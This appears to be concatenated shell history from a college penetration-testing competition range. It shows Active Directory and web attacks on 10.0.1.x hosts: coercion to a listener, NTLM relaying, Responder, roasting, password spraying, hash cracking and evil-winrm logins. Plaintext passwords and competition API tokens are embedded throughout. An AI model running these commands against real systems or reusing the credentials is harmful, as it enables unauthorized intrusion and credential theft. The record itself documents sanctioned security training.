_raw: : 1768016461:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc


_raw: : 1768016461:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768016461:0;sudo pip install pwntools --break-system-packages


_raw: : 1768016461:0;sudo pipx install pwntools


_raw: : 1768016461:0;sudo docker-compose up -d


_raw: : 1768016461:0;git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git


_raw: : 1768015150:0;grep -v "STATUS_LOGON_FAILURE" spray_results/spray_20260109_142640.log > clean.log


_raw: : 1768015103:0;grep -v "STATUS_LOGON_FAILURE" spray_results/spray_20260109_142640.log


_raw:
cd Downloads
ls
unzip cptc-ai-example.zip
ls
cd cptc-ai-example
uv synce
sudo apt install uv
ls
curl -LsSf https://astral.sh/uv/install.sh | sh\
uv synce
uv sync
cp config.yaml.example config.yaml\
ls
vim config.yaml
uv run main.py\
curl -fsSL https://claude.ai/install.sh | bash
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key5-9458d63e-64cc-40f1-aac7-110c91fef91e"\
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key5-9458d63e-64cc-40f1-aac7-110c91fef91e"' >> ~/.bashrc
bash


_raw:
sudo apt install ./google-chrome-stable_current_amd64.deb
ip addr


_raw:
sudo apt install flameshot
ls
cd thinclient_drives
ls
cd
ls
nc -lvp 8899


_raw:
ls
python3 keycloak_lfi_poc.py
python3 keycloak_lfi_poc.py http://10.0.1.13:8180/
python3 keycloak_lfi_poc.py http://10.0.1.13:8180 exploit
claude
bash


_raw: : 1767996041:0;mv Jellypwn Jellypwn-working


_raw:
tmux a -t thomas
clear
curl -fsSL https://claude.ai/install.sh | bash
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team11-key2-7db54cd5-74c8-403b-9eb6-b689596d9d93"
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team11-key2-7db54cd5-74c8-403b-9eb6-b689596d9d93"' >> ~/.bashrc
source ~/.bashrc
exit


_raw:
git clone https://github.com/nationalcptc-teamtools/Cal-Poly-Pomona.git
lebron.sh
./lebron.sh
ls
cat password.txt
cd Cal-Poly-Pomona
ls
lebron.sh
bash lebron.sh
ls
gobuster dir --url http://10.0.1.13:8080 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results.txt
gobuster dir --url http://10.0.1.13:8080 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results.txt
ls
gobuster dir --url http://10.0.1.13:8180 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results2.txt
ls
cd Web_Weasel
ls
bash deploy.sh
ls
cd
git glone https://github.com/tiredperson47/Web_Weasel.git
git clone https://github.com/tiredperson47/Web_Weasel.git
ls
cd Web_Weasel
ls
bash deploy.sh
cd
cd Cal-Poly-Pomona
ls
gobuster dir --url https://chat.allports.tours/dashboard --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results2.txt -nc
gobuster dir --url https://chat.allports.tours --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results2.txt -nc


_raw:
ls
cd Cal-Poly-Pomona
cat url_gobust_results
cat url_gobust_results.txt
gobuster dir --url http://10.0.1.13:8080 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results.txt\
--nc
cat url_gobust_results.txt
gobuster dir --url http://10.0.1.13:8080 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results.txt --nc
cat url_gobust_results.txt
gobuster dir --url http://chat.allports.tours --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results2.txt -nc
gobuster dir --url http://chat.allports.tours --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -b 169 -o url_gobust_results2.txt -nc
gobuster dir --url http://chat.allports.tours --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -b 301 -o url_gobust_results2.txt -nc
cat url_gobust_results2.txt
gobuster dir --url http://chat.allports.tours/dashboard --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -b 301 -o url_gobust_results2.txt -nc
gobuster dir --url http://chat.allports.tours --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -b 301 -o url_gobust_results2.txt -nc
nano prodchat.txt
john prodchat.txt


_raw: : 1767995993:0;hashcat -m 0 -a 3 hash1.txt /usr/share/wordlists/rockyou.txt


_raw: : 1767995961:0;hashcat -m 0 -a 0 hash1.txt /usr/share/wordlists/rockyou.txt


_raw: : 1767995923:0;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995880:0;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995875:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995873:0;sudo impacket-ntlmrelayx -t smb://DECKHAND-02.allports.local -smb2support --remove-mic -i


_raw:
free -h
clear
cd webrecorder
ls
./ArchiveWeb.page-0.16.0.AppImage


_raw:
clear
cd Downloads
git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git
cd Princess-Sumaya-University-for-Technology
ls
chmod +x start.sh
./start.sh
ls
sudo ./all.sh
chmod +x all.sh
sudo ./all.sh
clear
echo 'preexec() { printf "%s %s\n" "$(date "+%Y-%m-%d %H:%M:%S")" "$1" >> ~/.zsh_history_readable }' >> ~/.zshrc;
source ~/.zshrc
cd ~
ls -al
clear
nmap 10.0.1.30 -sV -sC -Pn -t 3 -p-
nmap 10.0.1.30 -sV -sC -Pn -T 3 -p-
curl -fsSL https://claude.ai/install.sh | bash
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key4-377950db-6151-46cb-b8ae-7b8b25bf30d1"' >> ~/.zshrc
sudo nano /etc/hosts
clear
claude
cat ~/.zshrc
source ~/.zshrc
claude


_raw:
clear
nmap -sC -sV -Pn -T 3 -p- 10.0.1.13
nmap -sC -sV -Pn -T 3 -p- 10.0.1.14
sudo nano /etc/hosts
clear
curl -s admin.rooms.allports.tours/admin.html
curl -s "admin.rooms.allports.tours/api/admin?authorized=true"
curl -s "http://10.0.1.99/api/admin?authorized=true"
curl -s "https://10.0.1.99/api/admin?authorized=true"
clear
curl -H "Host: 127.0.0.1" http://10.0.1.99/admin.html
curl -H "Host: 127.0.0.1" http://bb-b142.rooms.allports.tours/admin.html
curl http://bb-b142.rooms.allports.tours/admin.html
curl -H "Host: 127.0.0.1" https://10.0.1.99/admin.html
curl -H "Host: 127.0.0.1" https://bb-b142.rooms.allports.tours/admin.html


_raw:
ls
clear
ls
nxc smb 10.0.1.21 --shares
nxc smb 10.0.1.21 -M 'zerologon'
ls
clear
ls
nxc smb 10.0.1.6
nxc smb 10.0.1.6 -M 'zerologon'
cd ~/Downloads
ls
clear
ls
sudo responder -I eth0
clear
ls
john captain.hash /usr/share/wordlists/rockyou.txt
ls
john /usr/share/wordlists/rockyou.txt captain.hash
john --wordlist /usr/share/wordlists/rockyou.txt captain.hash
ls
hashcat captain.hash /usr/share/wordlists/rockyou.txt
clear
ls
hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule captain.hash
hashcat -m 1600 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule captain.hash
hashcat -m 1600 -r /usr/share/hashcat/rules/best66.rule captain.hash /usr/share/wordlists/rockyou.txt


_raw: nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' -M 'coerce_plus' -o LISTENER=10.0.254.201


_raw: nxc smb 10.0.1.20 -u 'pentester' -p ')u1h55hm-h(M(7nV' -M 'coerce_plus' -o LISTENER=10.0.254.201


_raw: nxc smb 10.0.1.21 -u 'pentester' -p ')u1h55hm-h(M(7nV' -M 'coerce_plus' -o LISTENER=10.0.254.201


_raw: nxc smb 10.0.1.22 -u 'pentester' -p ')u1h55hm-h(M(7nV' -M 'coerce_plus' -o LISTENER=10.0.254.201


_raw: nxc smb -u 'pentester' -p ')u1h55hm-h(M(7nV' -M 'coerce_plus' -o LISTENER=10.0.254.201


_raw: sqlmap -level=1 --risk=1 -u https://chat.allports.tours/register


_raw: sqlmap --wizard --level=1 --risk=1 https://chat.allports.tours/register


_raw: sqlmap --level=1 --risk=1 https://chat.allports.tours/register


_raw: echo 'hellomonitoringteamijustgotabreakandamhavingfunthanksforthisnetworkandihopetoseewhaticanfind' > /dev/null


_raw: nxc ldap 10.0.1.6 -u users.txt -p 'Sails@way!'


_raw: nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users-export users.txt


_raw: nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users > users.txt


_raw: nxc ldap -u 'svc_stabilize' -p '1gyroscope' --users > users.txt


_raw: nxc ldap -u 'svc_stabilize' -p '1gyroscope' --users > users.


_raw: nxc ldap -u 'svc_stabilize' -p '1gyroscope' --shares


_raw: nxc ldap -u 'svc_stabilize' -p '1gyroscope'


_raw: adidnsdump -u 'allports.local\svc_stabilize' -p '1gyroscope' allports.local


_raw: adidnsdump -u 'allports.local\svc_stabilize' -p '1gyroscope' --forest


_raw: adidnsdump -u 'allports.local\svc_stabilize' -p '1gyroscope' --print-zones 10.0.1.6


_raw: adidnsdump -u 'svc_stabilize' -p '1gyroscope' --print-zones 10.0.1.6


_raw: git clone git clone https://github.com/dirkjanm/adidnsdump


_raw: impacket-ntlmrelayx -t all://10.0.1.21 -smb2support --remove-mic -i


_raw: impacket-ntlmrelayx -t all://10.0.1.6 -smb2support --remove-mic -i


_raw: impacket-ntlmrelayx -t 10.0.1.21 -smb2support --remove-mic -i


_raw: impacket-ntlmrelayx -t 10.0.1.20 -smb2support --remove-mic -i


_raw: impacket-ntlmrelayx -t 10.0.1.21 -smb2support --remove-mic


_raw: impacket-ntlmrelayx -t ldaps://10.0.1.6 -smb2support -h | grep mic


_raw: impacket-ntlmrelayx -t ldaps://10.0.1.6 -smb2support -h


_raw: impacket-ntlmrelayx -t ldaps://10.0.1.6 -smb2support


_raw: impacket-ntlmrelayx -t 10.0.1.20 -i -smb2support


_raw: impacket-ntlmrelayx -t 10.0.1.20 -smb2support


_raw: impacket-ntlmrelayx -t 10.0.1.21 -smb2support


_raw:
passwd
c;ear
clear
ls
echo 'pentester:kali' | sudo chpasswd
passwd
CLEAR
clear
ls
clear
ls
cat password.txt
ls
git clone https://github.com/nationalcptc-teamtools/university-of-florida.git
ls
cd university-of-florida
ls
clear
ls
cd cptc2026-tools/setup
ls
clear
lsc
lsa
ls
./all.sh
ls
clear
ls
clear
ls
cd university-of-florida
ls
cd cptc2026-tools/setup
ls
./windows.sh
./web-lin.sh
ls
cd ..
ls
cd ..
ls
cd cptc2026-tools/setup
ls
cd ..
ls
clear
lsc
ls
cd setup
ls
cd ..
l
cd portinventory
ls
cd planka
tmux
tmux a
cat captain.hash
ls
bloodhound
free -h
bloodhound
free -h
clear
ls
free -h
sudo nmap -p- 10.0.1.254
sudo nmap -p- 10.0.1.1
free -h
clear
ls
cd
ls
cd webrecorder
ls
./ArchiveWeb.page-0.16.0.AppImage
ls
burpsuite
nxc smb 10.0.1.6 -u 'Guest' -p ''
nxc smb 10.0.1.6 -u 'a' -p ''
nxc smb 10.0.1.6 -u '' -p ''
clear
ls
nxc smb 10.0.1.21
nxc smb 10.0.1.21 --shares
nxc smb 10.0.1.20 --shares
nxc smb 10.0.1.20 -M 'coerce_plus'
nxc smb 10.0.1.6 -M 'coerce_plus'
nxc smb 10.0.1.6 -M 'coerce_plus' -O LISTENER=10.0.254.201
nxc smb 10.0.1.6 -M 'coerce_plus' -o LISTENER=10.0.254.201
nxc smb 10.0.1.20 -M 'coerce_plus' -o LISTENER=10.0.254.201
nxc smb 10.0.1.21 -M 'coerce_plus' -o LISTENER=10.0.254.201
ls
nxc smb 10.0.1.21 -M 'timeroast'
nxc smb 10.0.1.5 -M 'timeroast'
nxc smb 10.0.1.6 -M 'timeroast'
nxc ldap 10.0.1.6
ls
nxc smb 10.0.1.6 -M 'coerce_plus' -o LISTENER=10.0.254.201
nxc smb 10.0.1.21 -M 'coerce_plus' -o LISTENER=10.0.254.201
nxc smb 10.0.1.21 -M 'printnightmare'
nxc smb 10.0.1.21 -u '' -p '' -M 'printnightmare'
nxc smb 10.0.1.21 -u '' -p '' -M 'coerce_plus' -o L=10.0.254.201
nxc smb 10.0.1.21 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' -M 'coerce_plus' -o L=10.0.254.201
nxc smb 10.0.1.6 -u '' -p '' -M 'printnightmare'
nxc smb 10.0.1.6 -u 'b.finn' -p '' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u 'b.finn' -p '' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u '' -p '' --asreproast roasted.txt
ls
cd windows
ls
vi users.txt
nxc ldap 10.0.1.6 -u users.txt -p '' --asreproast roasted.txt
nc 10.0.1.10 6078
nc 10.0.1.10 6768
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.6.xml 10.0.1.6
clear
nxc ldap 10.0.1.6 -u 'pentester' -p '' --asreproast roasted.txt
ls
hashcat --force /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule captain.hash
ls
clear
nxc ldap 10.0.1.6 -u 'captain' -p '' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u 'pentester' -p '' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u 'pentester' -p '' -k
nxc ldap 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' -k
nxc ldap 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.20 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.21 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
bloodhound-python -c all -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local
ls
mkdir bloodhound
mv 2026*.json bloodhound
cd bloodhound
ls
clear
ls
sudo vi /etc/bhapi/bhapi.json
clear
ls
sudo responder -I eth0
nxc smb 10.0.1.20 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.21 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nc 127.0.0.1 11000
sudo responder -I eth0 --lm
sudo responder -I eth0 --disable-ess
nc 127.0.0.1 11000
sudo responder -I eth0 --disable-ess
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.21 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.20 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
ls
nc 127.0.0.1 11000
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --users
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --description
nxc ldap 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' -M 'get-desc-users'
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' --shares
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' --shares
evil-winrm -i '10.0.1.6' -u 'svc_stabilize' -p '1gyroscope'
evil-winrm -i '10.0.1.20' -u 'svc_stabilize' -p '1gyroscope'
evil-winrm -i '10.0.1.21' -u 'svc_stabilize' -p '1gyroscope'
evil-winrm -i '10.0.1.21' -u 'pentester' -p ')u1h55hm-h(M(7nV'
evil-winrm -i '10.0.1.6' -u 'pentester' -p ')u1h55hm-h(M(7nV'
evil-winrm -i '10.0.1.20' -u 'pentester' -p ')u1h55hm-h(M(7nV'
ls
clear
ls
clear
ls
cd ..
ls
sudo responder -I eth0
ls
clear
ls
sudo apt-get install hashcat
hashcat
ls
clear
ls
hashcat -m 31300
ls
vi timeroast.txt
ls
clear
ls
rm -i timeroast.txt
git clone https://github.com/hashcat/hashcat
cd hashcat
ls
sudo apt-get install build-essential make
clear
ls
make
vi /etc/hosts
sudo vi /etc/hosts
curl -H 'Host: localhost' http://10.0.1.13:8080/
curl -H 'Host: localhos' http://10.0.1.13:8080/
ssh admin@10.0.1.13
mysql
mysql -i 10.0.1.13
mysql -h 10.0.1.13
ls
./hashcat ~/windows/timeroast.txt
./hashcat -m 31300 ~/windows/timeroast.txt
ls
cd ..
ls
cd windows
ls
hashcat -m 31300 timeroast.txt
ls
vi timeroast.txt
ls
hashcat -m 31300 timeroast.txt
hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txt.gz
hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txty
hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txt\\
hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txt
ls
smbclient -U '%' -L //10.0.1.21
smbclient -U '%' -L //10.0.1.6
nc 10.0.1.10 9000
ls
clear
ls
cd ..
ls
mysql -u root -h 10.0.1.13 -padmin
mysql -u root -h 10.0.1.13 -pmysql
free -h
kill -9 233269
free -h
clear
ls
free -h
clear
ping 10.0.1.254
clear
ls
mysql -u root -h 10.0.1.99 -pmysql
mysql -u root -h 10.0.1.21 -pmysql
mysql -u root -h 10.0.1.13 -pmysql
cd Downloads
ls
clear
ls
~/webrecorder/ArchiveWeb.page-0.16.0.AppImage
bloodhound-python


_raw:
nxc smb 10.0.1.6 -u 'Guest' -p ''
nxc smb 10.0.1.6 -u 'a' -p ''
nxc smb 10.0.1.6 -u '' -p ''
clear
ls
nxc smb 10.0.1.21
nxc smb 10.0.1.21 --shares
nxc smb 10.0.1.20 --shares
nxc smb 10.0.1.20 -M 'coerce_plus'
nxc smb 10.0.1.6 -M 'coerce_plus'
nxc smb 10.0.1.6 -M 'coerce_plus' -O LISTENER=10.0.254.201
nxc smb 10.0.1.6 -M 'coerce_plus' -o LISTENER=10.0.254.201
nxc smb 10.0.1.20 -M 'coerce_plus' -o LISTENER=10.0.254.201
nxc smb 10.0.1.21 -M 'coerce_plus' -o LISTENER=10.0.254.201
ls
nxc smb 10.0.1.21 -M 'timeroast'
nxc smb 10.0.1.5 -M 'timeroast'
nxc smb 10.0.1.6 -M 'timeroast'
nxc ldap 10.0.1.6
ls
nxc smb 10.0.1.6 -M 'coerce_plus' -o LISTENER=10.0.254.201
nxc smb 10.0.1.21 -M 'coerce_plus' -o LISTENER=10.0.254.201
nxc smb 10.0.1.21 -M 'printnightmare'
nxc smb 10.0.1.21 -u '' -p '' -M 'printnightmare'
nxc smb 10.0.1.21 -u '' -p '' -M 'coerce_plus' -o L=10.0.254.201
nxc smb 10.0.1.21 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' -M 'coerce_plus' -o L=10.0.254.201
nxc smb 10.0.1.6 -u '' -p '' -M 'printnightmare'
nxc smb 10.0.1.6 -u 'b.finn' -p '' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u 'b.finn' -p '' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u '' -p '' --asreproast roasted.txt
ls
cd windows
ls
vi users.txt
nxc ldap 10.0.1.6 -u users.txt -p '' --asreproast roasted.txt
nc 10.0.1.10 6078
nc 10.0.1.10 6768
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.6.xml 10.0.1.6
clear
nxc ldap 10.0.1.6 -u 'pentester' -p '' --asreproast roasted.txt
ls
hashcat --force /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule captain.hash
ls
clear
nxc ldap 10.0.1.6 -u 'captain' -p '' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u 'pentester' -p '' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u 'pentester' -p '' -k
nxc ldap 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' -k
nxc ldap 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.20 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.21 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
bloodhound-python -c all -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local
ls
mkdir bloodhound
mv 2026*.json bloodhound
cd bloodhound
ls
clear
ls
sudo vi /etc/bhapi/bhapi.json
clear
ls
sudo responder -I eth0
nxc smb 10.0.1.20 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.21 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nc 127.0.0.1 11000
sudo responder -I eth0 --lm
sudo responder -I eth0 --disable-ess
nc 127.0.0.1 11000
sudo responder -I eth0 --disable-ess
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.21 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
nxc smb 10.0.1.20 -u 'pentester' -p ')u1h55hm-h(M(7nV' --shares
ls
nc 127.0.0.1 11000
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --users
nxc smb 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' --description
nxc ldap 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV' -M 'get-desc-users'
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' --shares
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' --shares
evil-winrm -i '10.0.1.6' -u 'svc_stabilize' -p '1gyroscope'
evil-winrm -i '10.0.1.20' -u 'svc_stabilize' -p '1gyroscope'
evil-winrm -i '10.0.1.21' -u 'svc_stabilize' -p '1gyroscope'
evil-winrm -i '10.0.1.21' -u 'pentester' -p ')u1h55hm-h(M(7nV'
evil-winrm -i '10.0.1.6' -u 'pentester' -p ')u1h55hm-h(M(7nV'
evil-winrm -i '10.0.1.20' -u 'pentester' -p ')u1h55hm-h(M(7nV'
ls
clear
ls
clear
ls
cd ..
ls


_raw:
lsls
ld
ls
sudo apt install seclists
ls
ffuf -u http://10.0.1.10:9091/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ls
cat password.txt
ls
mkdir ffufs
ls
cd ffufs
ls
ffuf -u http://10.0.1.11:443/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.11:443/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic > 10.0.1.11_443
ffuf -u http://10.0.1.11:8045/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic > 10.0.1.11_8045.txt
ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic > 10.0.1.11_8081.txt
ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fc 401 > 10.0.1.11_8081-filtered.txt
ffuf -u http://10.0.1.11:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fc 401 > 10.0.1.11_80.txt
ffuf -u http://10.0.1.11:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.11:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 629
ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fc 401
ffuf -u http://10.0.1.11:3000/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.11:3000/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 629
$ touch 10.0.1.11:3000
touch 10.0.1.11_3000.txt
ffuf -u http://10.0.1.11:7700/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic > 10.0.1.11_7700.txt
ffuf -u http://10.0.1.11:7700/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.11:7700/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fc 401
ffuf -u http://10.0.1.14:11/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.14:22/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.14:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.14:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fc 301
ffuf -u http://10.0.1.14:443/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.11:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.11:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 629
ffuf -u http://10.0.1.10:9091/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.11:7700/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.13:8080/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.14:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.14:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fc 301
ffuf -u http://10.0.1.13:8080/pages/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.14:8080/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.99:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.99:443/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.99:8080/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.14:443/users/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1767995749:0;nxc smb 10.0.1.6 -u users.txt -p updatepass1.txt --continue-on-success


_raw:
ls
git clone https://github.com/nationalcptc-teamtools/University-of-California.git
git clone https://github.com/nationalcptc-teamtools/University-of-California.git
git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git
ls
cd University-of-California-Irvine
ls
cd scripts
ls
chmod +x ./install.sh
./install.sh
sudo ./install.sh
tmux


_raw:
: 1767995644:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SELECT * FROM ship_systems ORDER BY id;"\


_raw:
: 1767995635:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "DESCRIBE ship_systems;"


_raw:
: 1767995629:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SHOW TABLES;"\
\


_raw:
: 1767995623:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' --skip-ssl \\
    -e "SELECT VERSION(), DATABASE(), USER();"\


_raw: : 1767995618:0;sudo impacket-ntlmrelayx -t smb://DECKHAND-02.allports.local -smb2support -i


_raw:
clear
curl -fsSL https://claude.ai/install.sh | bash\
